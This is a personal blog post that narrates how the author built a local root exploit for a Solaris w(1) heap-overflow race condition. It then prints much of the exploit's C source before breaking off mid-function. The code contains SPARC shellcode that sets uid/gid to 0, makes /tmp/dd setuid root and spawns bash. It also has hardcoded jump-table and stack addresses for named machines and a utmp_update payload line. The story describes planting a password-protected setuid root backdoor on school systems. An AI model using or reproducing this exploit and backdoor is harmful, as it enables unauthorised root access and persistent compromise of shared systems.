NX-stack bypass w(1) Local Root Exploit Realization <3 - Pt. 19
Woo-Hoo. I’m finally ready to release source code :D
===========================================
| THE STORY OF INVENTING THE W ROOT EXPLOIT |
===========================================
I always offended myself at using other people’s hard-earned root exploits — I always aspired to write my own and retain my pride in hacking. I was determined to do this.
I did not mention all of the books I got on Solaris and SPARC machines during this quest (both during the apply hack and this hack, I had bought and downloaded Solaris Internals, both versions). I also have the SPARCv9 architecture manual in book form and in PDF. The Shellcoder’s Handbook in book and PDF — this book proved very useful in helping me understand the beginning of exploiting the System V malloc implementation — which I took a step further and developed my own hack of malloc in order to fit into the context of my attack. anyways, moving forward.
At first, I dreamed of exploiting a kernel vulnerability, it just seemed bad-ass. But, it’s also very dangerous — risk of panicking the system. But, I was first reading up on understanding kernels (Solaris Internals, Attacking the Core, Understanding the Linux Kernel), just reading a lot on that stuff. But it wasn’t my destiny.
Well, let me first talk about how I obtained the Solaris 2.8 (8) source code. I had searched EVERYWHERE for it. But to no avail. Actually there was a FTP members-only forum I applied to but failed because my submission was too non-useful (it was the Operating System floppy image to HP 166XA/AS logic analyzers). But it was my first time taking a super in-detail scan of something, it looked so pro. I was so happy about it — disgusted to have gotten rejected but I move forward fast — it wasn’t my destiny I could feel it. So then, I had sudden inspiration to access the eMule environment, and I was right — I found the Solaris 2.8 source code on there. Wow. (I used aMule, a multiplatform eMule client).
After I had the code, I had an inkling that I might be able to find a vulnerability in the Solaris Doors source code. Mind you, I had never analyzed OS level source code like this ever, so it was a time-consuming studyious task. Lots of roaming around source files, connecting the dots between various files in a gigantic directory tree. But it was fun and intensive.
I never found anything crazy, although I learned enough about NameFS, a highly undocumented virtual filesystem, originally purposed to only mount STREAMS file descriptors or DOOR file descriptors. It’s intriguing, because when a directory is mounted with a file descriptor, that directory is virtually gone, and just becomes a file, which refers to that file descriptor. Cooler still was that I wrote my own fattach() which allowed mounting regular files in top of files/directories, instead of just DOORS and STREAMS. But, I couldn’t find a way to make that ability actually gain privileges in any way… Not that I searched hardcode.. Note that my fattach() only worked on Solaris 8 and not 10, which has stricter checking beyond fattach().
I thought maybe I was reaching too high here.. I mean, I wanted to find a novel vulnerability but I started getting discouraged.. The system is pretty old as it is, it’s not a ground-breaking platform to be researching to begin with. Although, it is possible that a bug could be present on there that maybe would chain all the way up to at least Solaris 10, but Oracle is already at Solaris 11 and I was doubtful of that. So, I gave myself a new challenge — There are a number of very non-disclosed disclosed vulnerabilities on Solaris. What I mean is, they will say “there is a vulnerability in this module, that may allow privilege escalation” == but they don’t say anything else!!! It’s very hidden. I thought, OK — the systems at school are not patched past ~2008. If I can find one of these hidden vulnerabilities that have no public exploits, and write one my own. I will be 99% satisfied with myself. And I’ll learn a lot! So that’s what I did..
I first found a vulnerability in NameFS, which is what I already mentioned I investigated with its involvement with Doors. I don’t know the CVE offhand, but you can search it. Solaris NAMEFS vulnerability should yield it. Very tightly disclosed, as I have mentioned, I started pouring over the namefs VFS implementation source codes, and damn, I couldn’t find anything — I started researching VFS and vnodes and how all that VFS stuff worked, but still couldn’t see how kernel execution was possible. I even found an OpenSolaris source code ‘diff’ between code before that patch and code after the patch, and I couldn’t make much sense of how the diff actually prevented any sort of code execution.. I did not give up though, at first, I just kept going, I installed Solaris 10 on my Sun blade in hopes of discovering new information by learning the tools KMDB and DTrace — kernel debugger and Dynamic Tracer that allows monitoring the kernel at a hardcore awesome level. I started learning those tools but in the midst of that I started returning to a prior advisory I had run into — a w(1) heap overflow race condition. This was another advisory that was limited in information — except there was a blog post by a hacker named XORL or something like that, and he identified the part of the w.c source code where the race condition and overflow was present. It was pretty obvious after he pointed it out. I tried looking for it before running into his blog post, but my lack of understanding how heap overflows worked in System V led me to completely miss the strategy — I was led to believe that free() had to be called for a heap overflow to work, but that is not true at all, at least on SysV!!
So, I did find the same section of code that XORL identified, I just deemed it impossible to hack without free() at the time.. But once I saw that a trusted hacker named Matthias had commented on the exploitability of the bug (related to the utmp_update command), I started believing.. In all honesty, I couldn’t see it at first, and before I knew Matthias was the one to comment, I thought that that commentor was full of shit. But once I saw that it was him, I knew there was way. I had actually looked into UTMP_UPDATE, but again, my lack of knowledge in exploiting heap on SysV led me to miss that exploitability. But something started to click in my mind, I knew Matthias was the real deal, that things were really possible. I started modeling a simple program that used malloc in a similar way as w.c and I tried overflowing its buffer (no free’s, no free then malloc() like is detailed in most heap overflow tutorials), just a couple mallocs in succession). Low and behold I segfaulted!! I started analyzing GDB and found that a word of sensitive data immediately after the heap buffer was what led to the segfault. I then started learning about SysV malloc implementation and exploitation vector from The Shellcoder’s Handbook and Once upon a Free from Phrack 57 iirc. Anyways, it turns out that I had to go a step further beyond this publically documented exploitation vectors of SysV malloc for my final ultimate exploit that is NX stack workable. But anyways, for the time being, I learned that publically disclosed exploit vector for SysV malloc implementation, and I also studied the malloc source code.
Once I started understanding that a free() is not at all necessary to exploit 2 succesive mallocs(), I was golden. I then learned to exploit my demo program with the correct negative offset size-entry, something not spoon-fed in SC Handbook, which would lead to a fake TREE structure in my buffer, same as the one documented in Once upon a free and shellcoder’s handbook. I was feeling great. I knew at that point, that if I could build a UTMP entry that modeled a fake tree structure, and that if I could beat the race condition (something I had never done before, alongside with having never exploited heap before), that I could have a local root exploit on my hands, custom coded by me! My own root exploit *_*
In my study of Utmp_Update, I analyzed where the rule checking was strict (fields I had to obey), and fields I could bend the rules. I also learned how some things worked, like the ID field had to be unique or a new entry would not be appended to the file. Rather the same entry in the file would be rewritten. Which is not good for an overflow attempt. I found that I could stuff a fake TREE structure into the name and id[] fields. where the ID would be forced to be an address on the stack where the shellcode resided (which I placed either by argv or envp). I wrote of part of my exploit that would keep track of used UtmpX entry ID’s, so that it knew which new ones could be used. I used every bit in the byte to track most UtmpX entries. IIRC about 32MB was needed for an extremely reduced ID tracking, a full ID tracking required something insane like 512MB.. So I had to cut down on the top ID to 16 (instead of 255). Anyways, with that and a gnarly nop sled, I would use GDB to force the race condition. But I can’t explain further without teaching the race condition: The w program would stat the UTMPX file, and then malloc that stat size, but then it would fill its buffer up by using the UTMPX API, which, if the file size had grown since the stat, means that extra data would be appended to the buffer. And that’s the race. So, in order to use GDB to force the condition I would simply breakpoint after the malloc, and then I would append my overflow UTMPX entry, which had a fake size which referred to a fake TREE structure in an earlier UTMPX entry. This would lead to an indirect jmp address in LD dynamic library called thr_jmp_table to become overwritten with the stack return address, where my gnarly nop sled and shellcode resided. It worked. It worked well..
The last part was getting the race condition to obey.. OMG don’t get me started on this……. And all the problems I ran into… OK, so first of all, I mentioned the indirect jump address in LD but I didn’t talk much about it. Basically it’s a Shellcoder’s Handbook hand-me-down, meaning I didn’t study it to a tee, but I know that it is a reliable spot to place an address which will be jumped to. I’m not exactly why or when, or how, it just happens. That’s all I needed to know. At time, I was testing on Solaris 10, which I put on my blade machine. I started coding a “Control Panel” to adjust the time in microseconds before the Utmpx entry was written or before the w utility was opened. I made several keys adjust it in hundreds, thousands, and tens of thousands. With that, I was still shooting in the dark, so I made a way to observe how close I was.. I found that I could add a new UTMPX entry with my live username as a USER_PROCESS, and it would cause W to show it in its output.. Based on if the entry showed up, I could know if my utmpx overflow entry was too early or too late.. I found it to be reliable when there was a lot of alternation between these two states.
At the time of this, I was using shellcoder’s handbook’s setreuid shellcode, and let me say FUCK THAT!! Wait until you see what happened: I got a shell in a live exploit of w utility on solaris, mind you I had placed a 32 bit version on there from Solaris 8. I ended up having a uid of 1, which is the user ‘daemon’!! I was not root!! I was pissed, and there were so many questions in place.. Was it because I was using this 32 bit “foreign” binary that I had self-made setuid root?? Did solaris 10 have some kind of protection mechanisms in place???? I had no idea, I started researching… I later wrote my own shellcode to “touch” a file, which was really open()’ing it with O_CREAT, and I found that the owner of the file was root.. That’s how I knew I was still in luck, with root privileges. I knew something was up in the spawning of the shell.. Well, let me just say it — the problem is that the uid AND the gid must be changed to root in order to get the shell with root privileges… Furthermore, based on my allocation of a PTY I assume, I also had problems opening up /bin/sh (even with -i, and even with dup2’ing all the STDIN/STDOUT/STDERR with /dev/tty), so anyways, the only one that worked was /bin/bash.. And even that sometimes failed on some machines I tested on.. To remedy this, I wrote a special program that asked for a password I only knew, and spawned a root shell. I put this file into /tmp, a convenient place where setuid binaries were allowed, and I wrote shellcode to chown/chmod that file to setuid root. I could then spawn a root shell. Pretty cool huh :) I also pre-encrypted the password string in the program so that it was not too easy to divulge the “root” password.
So, that was how the “stack-based” execution exploit worked — but blade60 has NX stack, I had to create an alternative.. I started playing a puzzle-game called “Fit the fake TREE struct inside UTMPX entry with the ability to specify NULL bytes for the heap address.” With careful analysis of the malloc implementation, I figured out new ways to craft a different kind of TREE structure. One that could take advantage of the INT fields of the UTMPX tree structure, which would allow me to transfer execution to the heap, which is executable. After a lot of analysis, stepping thru GDB in the malloc back-traces.. I found a way. I won’t detail it, but I will skip ahead to how I got shellcode to execute from the heap.. I wrote a shellcode2UTMPXEntry() function which would take raw shellcode and transverse it into shellcode placed into utmpx entries, which would jump to different parts of the utmpx entry, and eventually to a utmpx entry before it, if there wasn’t enough space in 1 entry. I had to jump backwards because a forwards jump had null bytes in it. Pretty cool!! In the end, it would take me about 4 utmpx entries IIRC to spawn a root shell, plus the TREE structure utmpx entry and the overflow entry.
/* This is Bazz's PoC of the CVE-Blah-Blah-Blah of the w/whodo flaw!! <3 */ #include <pwd.h> #include <sys/wait.h> // copied from w #include <stdio.h> #include <strings.h> #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <ctype.h> #include <fcntl.h> #include <time.h> #include <errno.h> #include <sys/types.h> #include <utmpx.h> #include <sys/stat.h> #include <dirent.h> #include <procfs.h> /* /proc header file */ #include <locale.h> #include <unistd.h> #include <sys/loadavg.h> #include <limits.h> // // my own includes #include <sys/types.h> #include <assert.h> // PTY includes #include <stdarg.h> #include <sys/select.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <stropts.h> #include <sys/conf.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <termios.h> #include <sys/stream.h> #include <sys/stropts.h> #include <sys/ddi.h> #include <sys/sunddi.h> //#define CTRL_A 1 #define CTRL_B 2 #define CTRL_C 3 #define CTRL_D 4 #define CTRL_E 5 #define CTRL_F 6 #define CTRL_G 7 #define CTRL_H 8 #define CTRL_I 9 #define CTRL_J 10 #define CTRL_K 11 #define CTRL_L 12 #define CTRL_M 13 #define CTRL_N 14 #define CTRL_O 15 #define CTRL_P 16 #define CTRL_Q 17 #define CTRL_R 18 #define CTRL_S 19 #define CTRL_T 20 #define CTRL_U 21 #define CTRL_V 22 #define CTRL_W 23 #define CTRL_X 24 #define CTRL_Y 25 #define CTRL_Z 26 // left out ones that weren't cool. CTRL-Char Hate #define CTRL_UNDERSCORE 31 #define CTRL_OPEN_BRACKET 0x1b #define CTRL_BACKSLASH 0x1c #define CTRL_CLOSED_BRACKET 0x1d #define KBD_UP "\x1b\x5b\x41" #define KBD_DOWN "\x1b\x5b\x42" #define KBD_LEFT "\x1b\x5b\x44" #define KBD_RIGHT "\x1b\x5b\x43" #define IN 0 #define OUT 1 // //pty vars #define max(x,y) ((x) > (y) ? (x) : (y)) struct termios tty_state_orig, tty_state_mod; pid_t cpid = -1; int fdmax = 0; int fd_master=-1, fd_slave=-1; int logfd=-1; pid_t shell_pid=-1; #define ERR (-1) #define BUFF_SIZE 8192 // 5000 char buff[BUFF_SIZE]; void print (const char *fmt, ...) { va_list args; va_start (args, fmt); vfprintf (stderr, fmt, args); //exit (1); } int fdprintf (int fd, char *fmt, ...) { va_list args; int r; char str[256]; va_start (args, fmt); r = vsprintf(str, fmt, args); write (fd, str, r); return (r); } // signal handlers void sighup (int sig) { sig = sig; /*if (close(fd_slave) < 0) perror("Close slave failed"); if (close(fd_master) < 0) perror("Close master failed: "); if (close(logfd) < 0) perror("Close master failed: ");*/ exit(0); } void sigpipe (int sig) { sig = sig; //snoopfd = -1; signal (SIGPIPE, sigpipe); } void sigchld (int sig) { int status, pid; sig = sig; print("DIE BITCHES\n"); wait(&status); raise (SIGHUP); signal (SIGCHLD, sigchld); } // taken from snooptty int stty_raw (int fd) { struct termios tty_state; int i; if (tcgetattr(fd, &tty_state) < 0) { perror("tcgetattr failed: "); return (-1); } //if (save) //tty_state; tty_state.c_lflag &= ~(ICANON | IEXTEN | ISIG | ECHO); tty_state.c_iflag &= ~(ICRNL | INPCK | ISTRIP | IXON | BRKINT); tty_state.c_oflag &= ~OPOST; tty_state.c_cflag |= CS8; tty_state.c_cc[VMIN] = 1; tty_state.c_cc[VTIME] = 0; tty_state_mod = tty_state; if (tcsetattr(fd, TCSAFLUSH, &tty_state) < 0) { perror("tcgetattr failed: "); return (-1); } return (0); } int stty_cooked (int fd) { if (tcsetattr(fd, TCSANOW, &tty_state_orig) < 0) { perror("tcgetattr failed: "); return (-1); } return (0); } void finish() { //remove("/home/bazz/latest/pty/test.txt"); if (close(fd_slave) < 0) perror("Close slave failed"); if (close(fd_master) < 0) perror("Close master failed: "); //if (close(logfd) < 0) //perror("Close master failed: "); //kill(shell_pid, 9); if (tcsetattr(STDIN_FILENO, TCSANOW, &tty_state_orig) < 0) { perror("tcgetattr failed: "); return; // (-1); } } /* The program can be broken into a couple sections so far : 1) ARGV builder to w.. Builds the argument to 'w' invocation so that there is a sweet amount of space to return to into the sack 2) UTMPX FuckING WITH SHIT! */ /* ARGV supplement to 'W' # first char cannot be a number (as arg to w) printf "AAAA" perl -e 'print "\xa4\x1c\x40\x11\x20\xbf\xff\xff"x50000' cat asmshell7.bin # execute @ 0xffbee008 *///0x901c4011 #define COOL_NOP "\x90\x1c\x40\x11\x20\xbf\xff\xff" //"\xa4\x1c\x40\x11\x20\xbf\xff\xff" // asmshell7.bin, located only on LIFE right now // // // CODE MUST SET BOTH UID AND GID for a rootshell... char setreuid_code[]= "\x90\x1c\x40\x11\x82\x10\x20\x17\x91\xd0\x20\x08\x90\x1c\x40\x11" "\x82\x10\x20\x2e\x91\xd0\x20\x08"; //"\x90\x1c\x40\x11\x90\x1c\x40\x11\x90\x1c\x40\x11"; //"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"; /* "\x90\x1d\xc0\x17" "\x92\x1d\xc0\x17" "\x82\x10\x20\xca" "\x91\xd0\x20\x08";*/ //#define FILEWORKS char use_bash=0; char chownfile_sc[] = // setuid(0), setgid(0) "\x90\x1c\x40\x11\x82\x10\x20\x17\x91\xd0\x20\x08\x90\x1c\x40\x11" "\x82\x10\x20\x2e\x91\xd0\x20\x08" // chown and chmod /tmp/dd "\x11\x0b\xdd\x1b\x90\x12\x21\x70\xd0\x23\xa0\x54\x11\x0b\xd9\x19" "\xd0\x23\xa0\x58\xc0\x23\xa0\x5c\x90\x03\xa0\x54\x92\x1c\x40\x11" "\x94\x1c\x40\x11\x82\x10\x20\x10\x91\xd0\x20\x08\x90\x03\xa0\x54" "\x92\x10\x29\xff\x82\x10\x20\x0f\x91\xd0\x20\x08\x90\x1b\x40\x0d" "\x8e\x1c\x40\x11\x82\x01\xe0\x01\x91\xd0\x20\x08"; char gimme_root_shell[] = // setuid(0), setgid(0) "\x90\x1c\x40\x11\x82\x10\x20\x17\x91\xd0\x20\x08\x90\x1c\x40\x11" "\x82\x10\x20\x2e\x91\xd0\x20\x08" // chown and chmod /tmp/dd /*"\x11\x0b\xdd\x1b\x90\x12\x21\x70\xd0\x23\xa0\x54\x11\x0b\xd9\x19" "\xd0\x23\xa0\x58\xc0\x23\xa0\x5c\x90\x03\xa0\x54\x92\x1c\x40\x11" "\x94\x1c\x40\x11\x82\x10\x20\x10\x91\xd0\x20\x08\x90\x03\xa0\x54" "\x92\x10\x29\xff\x82\x10\x20\x0f\x91\xd0\x20\x08\x90\x1b\x40\x0d" "\x8e\x1c\x40\x11\x82\x01\xe0\x01\x91\xd0\x20\x08";*/ // ksh does not work /*"\x90\x1b\x40\x0d\x82\x10\x20\x17\x91\xd0\x20\x08\x11\x0b\xd8\x9a" "\x90\x12\x21\x6e\xd0\x23\xa0\x54\x11\x0b\xda\xdc\x90\x12\x23\x68" "\xd0\x23\xa0\x58\xc0\x23\xa0\x5c\x90\x03\xa0\x54\xd0\x23\xa0\x48" "\xc0\x23\xa0\x4c\xc0\x23\xa0\x50\x90\x03\xa0\x54\x92\x03\xa0\x48" "\x94\x1b\x40\x0d\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\x40\x0d" "\x82\x00\x20\x01\x91\xd0\x20\x08";*/ // open code /*"\x11\x0b\xdd\x1b\x90\x12\x21\x70\xd0\x23\xa0\x54\x11\x0b\xd9\x19" "\xd0\x23\xa0\x58\x92\x10\x20\x01\x93\x2a\x60\x08\x90\x12\x40\x08" "\x90\x03\xa0\x54\x82\x10\x20\x05\x91\xd0\x20\x08\x90\x1b\x40\x0d" "\x82\x10\x20\x01\x91\xd0\x20\x08";*/ //dup 2 /* "\xa2\x1c\x40\x11\x11\x0b\xd9\x19\x90\x12\x21\x76\xd0\x23\xa0\x64" "\x11\x0b\xdd\x1d\x90\x12\x20\x79\xd0\x23\xa0\x68\xc0\x23\xa0\x6c" "\x90\x03\xa0\x64\x92\x10\x20\x02\x82\x10\x20\x05\x91\xd0\x20\x08" "\xd0\x23\xa0\x58\x92\x1c\x40\x11\x82\x10\x20\x3e\x91\xd0\x20\x08" "\xd0\x03\xa0\x58\x92\x04\x60\x01\x82\x10\x20\x3e\x91\xd0\x20\x08" "\xd0\x03\xa0\x58\x92\x04\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"*/ // CLOSE ALL 0 1 2 open /dev/tty on all /* "\xa2\x1c\x40\x11\x90\x1c\x40\x11\x82\x10\x20\x06\x91\xd0\x20\x08" "\x11\x0b\xd9\x19\x90\x12\x21\x76\xd0\x23\xa0\x64\x11\x0b\xdd\x1d" "\x90\x12\x20\x79\xd0\x23\xa0\x68\xc0\x23\xa0\x6c\x90\x03\xa0\x64" "\x92\x10\x20\x02\x82\x10\x20\x05\x91\xd0\x20\x08\x90\x04\x60\x01" "\x82\x10\x20\x06\x91\xd0\x20\x08\x90\x03\xa0\x64\x92\x10\x20\x02" "\x82\x10\x20\x05\x91\xd0\x20\x08\x90\x04\x60\x02\x82\x10\x20\x06" "\x91\xd0\x20\x08\x90\x03\xa0\x64\x92\x10\x20\x02\x82\x10\x20\x05" "\x91\xd0\x20\x08"*/ // Close 0, open TTY /*"\x90\x1c\x40\x11\x82\x10\x20\x06\x91\xd0\x20\x08\x11\x0b\xd9\x19" "\x90\x12\x21\x76\xd0\x23\xa0\x64\x11\x0b\xdd\x1d\x90\x12\x20\x79" "\xd0\x23\xa0\x68\xc0\x23\xa0\x6c\x90\x03\xa0\x64\x92\x10\x20\x02" "\x82\x10\x20\x05\x91\xd0\x20\x08"*/ // BASH -i /* "\x11\x0b\xd8\x9a\x90\x12\x21\x6e\xd0\x23\xa0\x58\x11\x0b\xd8\x98" "\x90\x12\x21\x73\xd0\x23\xa0\x5c\x90\x10\x20\x68\x91\x2a\x20\x18" "\xd0\x23\xa0\x60\x90\x03\xa0\x58\xc0\x23\xa0\x64\xd0\x23\xa0\x4c" "\x11\x0b\x5a\x40\xd0\x23\xa0\x68\x90\x03\xa0\x68\xd0\x23\xa0\x50" "\xc0\x23\xa0\x54\x90\x03\xa0\x58\x92\x03\xa0\x4c\x94\x1b\x40\x0d" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\x40\x0d\x82\x10\x20\x01" "\x91\xd0\x20\x08";*/ // BASH "\x11\x0b\xd8\x9a\x90\x12\x21\x6e\xd0\x23\xa0\x54\x11\x0b\xd8\x98" "\x90\x12\x21\x73\xd0\x23\xa0\x58\x90\x10\x20\x68\x91\x2a\x20\x18" "\xd0\x23\xa0\x5c\x90\x03\xa0\x54\xc0\x23\xa0\x60\xd0\x23\xa0\x4c" "\xc0\x23\xa0\x50\x92\x03\xa0\x4c\x94\x1b\x40\x0d\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\x40\x0d\x82\x10\x20\x01\x91\xd0\x20\x08"; /* char gimme_root_shell[] = //"\x90\x1b\x40\x0d\x82\x10\x20\x17\x91\xd0\x20\x08 // make TTY stdin "\x90\x1c\x40\x11\x82\x10\x20\x06\x91\xd0\x20\x08\x11\x0b\xd9\x19" "\x90\x12\x21\x76\xd0\x23\xa0\x64\x11\x0b\xdd\x1d\x90\x12\x20\x79" "\xd0\x23\xa0\x68\xc0\x23\xa0\x6c\x90\x03\xa0\x64\x92\x10\x20\x02" "\x82\x10\x20\x05\x91\xd0\x20\x08" //// // no -i "\x90\x1b\x40\x0d\x82\x10\x20\x17\x91\xd0\x20\x08\x11\x0b\xd8\x9a" "\x90\x12\x21\x6e\xd0\x23\xa0\x54\x11\x0b\xdc\xda\xd0\x23\xa0\x58" "\x11\x0b\x5c\xc0\xd0\x23\xa0\x5c\xc0\x23\xa0\x5c\x90\x03\xa0\x54" "\xd0\x23\xa0\x48\x90\x03\xa0\x5c\xd0\x23\xa0\x4c\xc0\x23\xa0\x4c" "\x90\x03\xa0\x54\x92\x03\xa0\x48\x94\x1b\x40\x0d\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\x40\x0d\x8e\x1c\x40\x11\x82\x01\xe0\x01" "\x91\xd0\x20\x08";*/ /* "\x11\x0b\xd8\x9a" "\x90\x12\x21\x6e\xd0\x23\xa0\x54\x11\x0b\xdc\xda\xd0\x23\xa0\x58" "\x11\x0b\x5c\xc0\xd0\x23\xa0\x5c\xc0\x23\xa0\x60\x90\x03\xa0\x54" "\xd0\x23\xa0\x48\x90\x03\xa0\x5c\xd0\x23\xa0\x4c\xc0\x23\xa0\x50" "\x90\x03\xa0\x54\x92\x03\xa0\x48\x94\x1b\x40\x0d\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\x40\x0d\x82\x10\x20\x01\x91\xd0\x20\x08";*/ struct passwd *pwnam; char *username; char hostname[257]; // be global, since we'll be calling the child exec many times // potentially, who cares char *argv_buf; // 96 is sizeof gimme_root_shell, 4 for "AAAA" #define ARGV_BUF_LEN 4+(50000*8)+strlen(setreuid_code)+strlen(gimme_root_shell)+1 // this will build the argv supply and return a pointer to it :) char * build_argv_supplement() { int i=0; char *p; bzero(argv_buf, ARGV_BUF_LEN); p = argv_buf; // first characters cannot be numbers so.. fill it with some A *(p++) = 'A'; *(p++) = 'A'; *(p++) = 'A'; *(p++) = 'A'; //*(p++) = ' '; //*(p++) = ' '; //*(p++) = ' '; //*(p++) = ' '; for (i=0; i < 50000; i++) { strcpy(p, COOL_NOP); p+=8; } strcpy (p, setreuid_code); p += strlen(setreuid_code); strcpy (p, gimme_root_shell); return argv_buf; } /* NEED MANDATORY A STRING BUILDER TO UTMP_UPDATEE */ // To-DO /* Let's talk about the string builder: /usr/lib/utmp_update `perl -e 'print "\xff\xff\xff\xf8" . "AAAA" . "\xff\x3e\xe2\x48" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . "AAAA" '` `perl -e 'print "\xff\xbe\xe0\x08" '` "pts////////2" "9000" "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz" let's strip that into components. A lot of that perl stuff can be done programmatically in C */ // for this heap, one ulab and life share the same offset :D // BLADE60 = 0xFF3D61EC #define LIFE_THR_JMP_TABLE 0xff3de234 #define BLADE60_THR_JMP_TABLE 0xFF3e61EC #define BLADE7X_THR_JMP_TABLE 0xFF3E0234 #define UTMP_UPDATE_CMD_PATH "/usr/lib/utmp_update " uint32_t LD_COOL_ADDR = 0xFF3e61EC-8; // LIFE //0xff3de234-0x20//0xff3ee248 char LD_COOL_ADDR_STR[] = "\xff\x3e\x61\xe4"; //"\xff\x3e\x02\x34"; // blade 71 // blade 72: // life: "\xff\x3d\xe2\x14"; // minus 20 // sol10 life //"\xff\x3e\xe2\x48"; // this is it - 20 #define STACK_RETURN_ADDR "\xff\xbe\xe0\x08" /* Get current TTY, and use that as a component in a string builder of the argument to utmp_update. char *ttyname(int fildes); Upon successful completion, ttyname() and ttyname_r() return a pointer to a string. Otherwise, a null pointer is returned and errno is set to indicate the error */ char *ttyn; // my tty name's number // i.e. /dev/pts/2, ttyn = "2" craft_fake_tree_utmpx_entry(struct utmpx *utp); char * getfree_stackreturnaddr_id(); // THIS IS IMPORTANT!! <3 #define W_HEAPBUF_BASEADDR 0x30770 // This can be checked by debugging the program (copy it into home dir) // and checking the return of malloc() /* There are 3 different kind of UTMPX entries this program makes 1) Pre-entry -- a filler entry to ensure that the TREE struct entry is aligned on an WORD-size boundary (8 bytes on 32-bit OS) 2) Fake TREE struct entry: 'nuff said' Not really. This entry's ID field IS the target address, 32-bit TREE STRUCT ------------------ LL LL LL LL AA AA AA AA TP TP TP TP AA AA AA AA FF FF FF FF AA AA AA AA AA AA AA AA AA AA AA AA SP SP SP SP AA AA AA AA AA AA AA AA AA AA AA AA LL : lowest 2 bits must not be set. AA : Not important I'm not explaining TP and SP cause I already figured it out and forgot. See Shellcoder's Handbook. Long story short: TP points to LD.so function pointer and SP points to Stack return address 3) Overflowed Heap chunk entry -- this just has some pointers back to the fake TREE struct entry. */ // could be STACK SPACE, could be HEAP SPACE.. IONNO // in this PoC it's STACK SPACE // TREE struct ID field must be consolidated, // create a range to consolidate against: #define TARGET_MIN 0xffbba000 #define TARGET_MAX 0xffbeff00 // only care about multiples of 4 (each instruction is 4 bytes) // and I want how many bytes to use so i divide by 8, a bit for every // entry #define STACK_TABLE_SIZE (((TARGET_MAX - TARGET_MIN) / 4) / 8) // // stack_table[STACK_TABLE_SIZE]; // representing instructions entries from // 0xffb0a000 - 0xffbeff00 #define UTMPX_ENTRY_SIZE sizeof (struct utmpx) struct stat gstatbuf; char *prog; // keep track of which utmpx entries are "taken" // every bit represents //ie ENTRY "AAAA" = 0x41414141 // I can allocate a table space 32*32*32*32 bytes wide // to represent all combinations of 4 bytes.. //0x01 should set bit 0 in the table// // since the byte will be needed anyways, let's be reflecting // 0x01 will be bit 1 // so just divide by 8 to find the byte index.. // modulus by 8 to get the bit index //char table[32*32*32*32]; //char table[256][256][256][32]; //0x20000000 bytes = 512 MB // DAMN TATS TOO MUCH!! Let's lower the bitspace down to save memory.. // if disregard the first byte we get 2MB size.. // how about half the bitspace.. #define UPPER_LIMIT 16 char table[UPPER_LIMIT][256][256][32]; // this table will take 32 MB.. Not bad.. /* this table reflects entries that I will use in my attack If the UTMPX file already has certain entries.. I need to take that into account because UTMPX never appends to the file when the entry already exists.. but appending is necessary to overflow the heap */ /* if the First character of the ID is not in our bitspace, ignore it, it is not part of the attack vector */ /* Reflects the ID[4] field "AAAA" look at them like address bits but how much does each one affect the whole? */ #define A0 (1 << 0) #define A1 (1 << 5) // * 32 #define A2 (1 << (5+8)) // * 32 #define A3 (1 << (5+8+8)) // * 32 /* let's say the value is 0x00000041 0x41 / 8 = 8 0x41 % 8 = 1 table[8] |= 1 << 1 what if it was 0x00000141 */ char * getfree_id_not_stack(); size_t gsizeof_utmpx_file; #define JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME 0x30bfffb0 const char JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME_STR[] = "\x30\xbf\xff\xb0"; #define SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO 0x30bfffea const char SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[] = "\x30\xbf\xff\xea"; const char BYPASS_SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[] = "\x30\xbf\xff\xeb"; struct utmpx shellcode_utmpx_entries[20]; int utmpx_index=0; time_t RETURN_ADDRESS=0; turn_shellcode_into_utmpx_entries(char *sc) { char *free_nonstack_id; int i=0; // general purpose counter int bypass_overwritten_heap_thing=1; int sc_i=0; char c=0; char *cp; int count = 0; int space=0; while ( 1 ) { // prefill the utmpx structure bzero(&shellcode_utmpx_entries[utmpx_index], UTMPX_ENTRY_SIZE); if ( (free_nonstack_id = getfree_id_not_stack()) == NULL) { fprintf(stderr, "OUT OF FREE ID SPACE!!?!? QUITTING\n"); exit(1); } strcpy (shellcode_utmpx_entries[utmpx_index].ut_id, free_nonstack_id); assign_generics(&shellcode_utmpx_entries[utmpx_index]); cp = (char *)&shellcode_utmpx_entries[utmpx_index].ut_tv.tv_sec; if (!bypass_overwritten_heap_thing) space = 8; else space = 4; //{ for (i=0; i < space; i++) { if ( (c=sc[sc_i++]) == 0) { if ( (sc_i-1)%4 ) { fprintf(stderr, "Malformed instruction?!?!.. QUITTING\n"); exit (2); } return; } *(cp++) = c; } //} // place the jump instruction if (bypass_overwritten_heap_thing) { *(cp++) = BYPASS_SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[0]; *(cp++) = BYPASS_SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[1]; *(cp++) = BYPASS_SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[2]; *(cp++) = BYPASS_SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[3]; bypass_overwritten_heap_thing = 0; } else { *(cp++) = SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[0]; *(cp++) = SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[1]; *(cp++) = SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[2]; *(cp++) = SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR[3]; } cp = (char *)&shellcode_utmpx_entries[utmpx_index].ut_name[0]; // start writing from name 28 bytes for (i=0; i < 28; i++) { if ( (c=sc[sc_i++]) == 0) { if ( (sc_i-1)%4 ) { fprintf(stderr, "Malformed 